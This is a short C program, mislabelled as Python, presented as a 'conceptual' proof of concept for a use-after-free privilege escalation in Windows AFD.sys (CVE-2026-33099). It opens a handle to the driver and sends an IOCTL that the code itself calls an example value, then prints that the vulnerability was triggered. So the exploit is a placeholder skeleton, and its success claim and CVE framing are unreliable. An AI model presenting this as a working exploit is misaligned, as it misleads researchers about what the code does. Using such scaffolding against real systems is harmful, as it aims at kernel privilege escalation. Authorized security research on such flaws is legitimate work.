The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-33099 (Conceptual)
* Target: Windows Ancillary Function Driver for WinSock (AFD.sys)
* Type: Local Privilege Escalation / Use After Free
*/
#include <windows.h>
#include <stdio.h>
// IOCTLs would typically be reverse-engineered from the driver
#define IOCTL_TRIGGER_UAF 0x00012000 // Example IOCTL
int main() {
HANDLE hDevice;
BOOL bResult;
DWORD bytesReturned;
printf("[*] CVE-2026-33099 PoC Trigger\n");
// Open a handle to the AFD driver
hDevice = CreateFileA("\\\\.\\Afd",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[!] Failed to get handle to AFD.sys. Error: %d\n", GetLastError());
printf("[!] Try running as Administrator or check if driver is loaded.\n");
return 1;
}
printf("[+] Handle to AFD.sys acquired: 0x%p\n", hDevice);
// Step 1: Allocate the vulnerable object
// DeviceIoControl(hDevice, IOCTL_ALLOCATE, ...);
// Step 2: Free the object (Use-After-Free trigger)
// This puts the object in a freed state but leaves a dangling pointer
printf("[*] Triggering the Use-After-Free condition...\n");
bResult = DeviceIoControl(hDevice,
IOCTL_TRIGGER_UAF,
NULL, 0,
NULL, 0,
&bytesReturned,
NULL);
if (!bResult) {
printf("[!] DeviceIoControl failed. Error: %d\n", GetLastError());
} else {
printf("[+] IOCTL executed successfully. Vulnerability triggered.\n");
printf("[*] Note: Exploitation requires heap grooming and controlled reallocation.\n");
}
CloseHandle(hDevice);
return 0;
}